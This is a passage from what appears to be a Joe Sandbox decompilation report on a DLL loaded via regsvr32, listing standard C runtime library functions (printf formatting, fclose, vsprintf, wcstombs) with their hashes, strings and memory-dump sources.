				_a116 = 1;
				goto 0xf9d3c8f5;
				_a80 = _a80 & 0xfffffff7;
				if (_a116 - 0x200 <= 0) goto 0xf9d3c8f5;
				_a116 = 0x200;
				if (_a832 != 0) goto 0xf9d3c908;
				_a92 = 0;
				_a64 =  &_a687;
				_t212 = _a116;
				_a116 = _a116 - 1;
				if (_t212 > 0) goto 0xf9d3c936;
				if (_a832 == 0) goto 0xf9d3c9d3;
				_a1040 = _a72;
				_a816 = _t212 / _a1040 + 0x30;
				_a1048 = _a72;
				if (_a816 - 0x39 <= 0) goto 0xf9d3c9b2;
				_t217 = _a816 + _a708;
				_a816 = _t217;
				 *_a64 = _a816 & 0x000000ff;
				_a64 = _a64 - 1;
				goto 0xf9d3c915;
				_a104 = _t217;
				_a64 = _a64 + 1;
				if ((_a80 & 0x00000200) == 0) goto 0xf9d3ca31;
				if (_a104 == 0) goto 0xf9d3ca12;
				if ( *_a64 == 0x30) goto 0xf9d3ca31;
				_a64 = _a64 - 1;
				 *_a64 = 0x30;
				_a104 = _a104 + 1;
				if (_a108 != 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000040) == 0) goto 0xf9d3ca95;
				if ((_a80 & 0x00000100) == 0) goto 0xf9d3ca63;
				_a84 = 0x2d;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000001) == 0) goto 0xf9d3ca7d;
				_a84 = 0x2b;
				_a92 = 1;
				goto 0xf9d3ca95;
				if ((_a80 & 0x00000002) == 0) goto 0xf9d3ca95;
				_a84 = 0x20;
				_a92 = 1;
				_a840 = _a88 - _a104 - _a92;
				if ((_a80 & 0x0000000c) != 0) goto 0xf9d3cad5;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				E000007FE7FEF9D3CF60(_a92, _a64,  &_a84, _a1088,  &_a688);
				if ((_a80 & 0x00000008) == 0) goto 0xf9d3cb27;
				if ((_a80 & 0x00000004) != 0) goto 0xf9d3cb27;
				E000007FE7FEF9D3CF10(0x30, _a840, _a1088,  &_a688);
				if (_a76 == 0) goto 0xf9d3cc1d;
				if (_a104 <= 0) goto 0xf9d3cc1d;
				_a872 = 0;
				_a848 = _a64;
				_a856 = _a104;
				_a856 = _a856 - 1;
				if (_a856 == 0) goto 0xf9d3cc1b;
				_a1056 =  *_a848 & 0x0000ffff;
				r9d = _a1056 & 0x0000ffff;
				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t252 = _a1060;
				_a876 = _t252;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t354 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t354;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t252 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t354 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t379, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c719
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

9, xrefs: 000007FEF9D3C98F
0, xrefs: 000007FEF9D3C739
', xrefs: 000007FEF9D3C719

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$0$9
API String ID: 1967237116-269856862
Opcode ID: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction ID: b3eda79bc04a60fb7ee4a4011f7c31915f3bf9e4e3688118cbdbb277fe6e384d
Opcode Fuzzy Hash: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction Fuzzy Hash: 0D41B47260DAC187E7B58B19E8957AEB7E4F385791F100125EAC886B98DB7DE640CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35260 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_CreateFrameInfo.LIBCMTD ref: 000007FEF9D35342
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Frame$CreateDestroyedExceptionFindInfoObjectUnlink
String ID: csm
API String ID: 2005287440-1018135373
Opcode ID: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction ID: 0432dbe60f42fc154ce83aeddd16286c3d94edaaa77ff7db33c77853d76fe5a2
Opcode Fuzzy Hash: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction Fuzzy Hash: FB51A836608B8682DAA09B1AF49076E77E0F3C4B91F615125EBCD47BB5DF3AD444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28040 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

__initmbctable.LIBCMT ref: 000007FEF9D28056
GetModuleFileNameA.KERNEL32 ref: 000007FEF9D28071

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c, xrefs: 000007FEF9D2813C
C:\Windows\System32\regsvr32.exe, xrefs: 000007FEF9D28068, 000007FEF9D28077, 000007FEF9D280A9

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileModuleName__initmbctable
String ID: C:\Windows\System32\regsvr32.exe$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c
API String ID: 3548084100-1254873407
Opcode ID: d38f4fd9cb9ecdd73cd32345429acc70b773e7a180fa8c1b1693dc69edd9f2e5
Instruction ID: 40487cdd99e7390fc7cfa00da240fffb72a0e4e16c6d4a8cb9187a6270b67cf4
Opcode Fuzzy Hash: d38f4fd9cb9ecdd73cd32345429acc70b773e7a180fa8c1b1693dc69edd9f2e5
Instruction Fuzzy Hash: 09410C21A19A8281EA90CB19EC8136E77A0F7857A5F614626E6EE43BF4DF3ED144C701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D328E8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41
_vsnprintf_s_l, xrefs: 000007FEF9D32A48
("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 65def78894184635a726d36e54dfff1a0241531dd31d36ef72262bf6a1fca492
Instruction ID: db9b60f6e9b20c9f37adeee518bf084cd0881f5c38580f5bd04c1ce4cfd39116
Opcode Fuzzy Hash: 65def78894184635a726d36e54dfff1a0241531dd31d36ef72262bf6a1fca492
Instruction Fuzzy Hash: 49412931E1C7868AEAB08B24E84476E62E0F385365F604335D6ED427E5CB3EE444CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27816 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

GetFileType.KERNEL32 ref: 000007FEF9D27A24
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D27AA5

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CountCriticalFileInitializeSectionSpinType_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 2306298712-3864165772
Opcode ID: 6db4822cd77f1ed37bef3fea8eb09d36478b9c501087b185a6ab49f69a42b384
Instruction ID: b637de57708ed2c7d115ffe7a667dd769ed1fe34c6e506efeb830bf347bff847
Opcode Fuzzy Hash: 6db4822cd77f1ed37bef3fea8eb09d36478b9c501087b185a6ab49f69a42b384
Instruction Fuzzy Hash: D8313D32609BC585E7B08B19E84076EB3E1F385764F618225CAED877E4DB3DE405CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37F0E Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3806E

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3801F, 000007FEF9D38059
_wcstombs_s_l, xrefs: 000007FEF9D38060
bufferSize <= INT_MAX, xrefs: 000007FEF9D3800A, 000007FEF9D38067

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-2562677240
Opcode ID: dabd10d16ebe11174fc63b9f89b539a3b240949ad9ffb505f617c08bbd3ff20b
Instruction ID: c85490607768c44f9eb9442c12c0ad7794bb5914cb74fa2bef1d73063ee62390
Opcode Fuzzy Hash: dabd10d16ebe11174fc63b9f89b539a3b240949ad9ffb505f617c08bbd3ff20b
Instruction Fuzzy Hash: 67311632A0DB8685EAB09B15E8407AEB7E1F385390F204625D6DD43BE8DB7ED444CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40680 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4071E

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Part of subcall function 000007FEF9D40A20: __doserrno.LIBCMTD ref: 000007FEF9D40A33

Strings

(str != NULL), xrefs: 000007FEF9D406BA, 000007FEF9D40717
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D406CF, 000007FEF9D40709
_fclose_nolock, xrefs: 000007FEF9D40710

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter$__doserrno
String ID: (str != NULL)$_fclose_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c
API String ID: 1181141450-2845860089
Opcode ID: 7bab6b588e6dd2839569b0ca5fa95970036134ebeeb6453b58b8f029525d0fe5
Instruction ID: a2d3a4357c877c10dbeba88c1570b3bcf2b7b0db3c51835aaf51b50bd6ce4727
Opcode Fuzzy Hash: 7bab6b588e6dd2839569b0ca5fa95970036134ebeeb6453b58b8f029525d0fe5
Instruction Fuzzy Hash: 25316D36A28A4286E7909B19E88476E77E0F380794F205125F6CE477F5CB7ED841CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AB10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3ABCD

Strings

(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3AB69, 000007FEF9D3ABC6
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c, xrefs: 000007FEF9D3AB7E, 000007FEF9D3ABB8
_isatty, xrefs: 000007FEF9D3ABBF

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_isatty$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c
API String ID: 2123368286-160817255
Opcode ID: 20bce409a33f2d52ae5b3246709d5cabe66b407105c41d1953a7685d10f1773e
Instruction ID: f81691e69628683e8e3df4f52d5e63bc79cedec177f2501b48199eede19b8a9f
Opcode Fuzzy Hash: 20bce409a33f2d52ae5b3246709d5cabe66b407105c41d1953a7685d10f1773e
Instruction Fuzzy Hash: 7E218E71B2D6428AE7D89B24EC8476DB3E1F390395F609635E1DE476E4D77ED4018B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40580 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4061E

Strings

fclose, xrefs: 000007FEF9D40610
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D405CF, 000007FEF9D40609
(stream != NULL), xrefs: 000007FEF9D405BA, 000007FEF9D40617

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c$fclose
API String ID: 2123368286-3409824857
Opcode ID: b4902cc461c388e31b4dcd0307079e4da2555ab755984697fa072277fbec1f80
Instruction ID: aea6e50ad225ee654e5ba897f2371f9ab8692fab447ee5272478533351973a17
Opcode Fuzzy Hash: b4902cc461c388e31b4dcd0307079e4da2555ab755984697fa072277fbec1f80
Instruction Fuzzy Hash: 69214C72A2D64286EB909F58E84476EB7E0F380394F605125E6CE47AE4CBBED444CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C170 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

Strings

(unsigned)(c + 1) <= 256, xrefs: 000007FEF9D2C19E
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c, xrefs: 000007FEF9D2C1B3

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID: (unsigned)(c + 1) <= 256$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c
API String ID: 1901436342-3621827421
Opcode ID: 582f87e7669c1111abee6c616077222c15a1b9b573b43815cbd7bd4630f6c99c
Instruction ID: b6da7cfe51097e189ae1413993ad3b1820e6f9d9ec5e09c8ec6feaf0c9b902cc
Opcode Fuzzy Hash: 582f87e7669c1111abee6c616077222c15a1b9b573b43815cbd7bd4630f6c99c
Instruction Fuzzy Hash: 6D210132918A8186E790DB64E8516AEB7E0F7C4780F614122E7CD83AB9DB7DD954CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32C9F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 48COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32D62

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c, xrefs: 000007FEF9D32D13, 000007FEF9D32D4D
("Invalid error_mode", 0), xrefs: 000007FEF9D32CFE, 000007FEF9D32D5B
_set_error_mode, xrefs: 000007FEF9D32D54

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid error_mode", 0)$_set_error_mode$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c
API String ID: 2123368286-2972513288
Opcode ID: f8745b700fb78b44b2e658b57c518d69726f466f5def5af1cc34e5c73236fe3e
Instruction ID: 6381d33894c21e9a570bb340808ef8ba759c91e84b1c9252353dd9e19991e7ba
Opcode Fuzzy Hash: f8745b700fb78b44b2e658b57c518d69726f466f5def5af1cc34e5c73236fe3e
Instruction Fuzzy Hash: 64211A31E1D242CAE7E08F28EC44B6E72E1F344395F605536A6CA866B4D77EE944CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32695 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3274D

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D326FE, 000007FEF9D32738
_vsnprintf_s_l, xrefs: 000007FEF9D3273F
string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D326E9, 000007FEF9D32746

Memory Dump Source

Source File: 00000003.00000002.926240012.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926236480.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926256789.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926274348.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.926337825.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$string != NULL && sizeInBytes > 0
API String ID: 2123368286-367560414
Opcode ID: b10b6c40919f833f94f1f9af6a6d465dd1a232ebc9f5396bdae7492d99103452
Instruction ID: a1605579a08129191013953cda15cb2ece86ed32ec4905bca1088ce11b277eda
Opcode Fuzzy Hash: b10b6c40919f833f94f1f9af6a6d465dd1a232ebc9f5396bdae7492d99103452
Instruction Fuzzy Hash: EB114931E0C64A89F7E08B14EC457BE62E0F750385F608525D2DD46AF9CBBEE4888F01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D375E9 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3769D

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3764B, 000007FEF9D37688
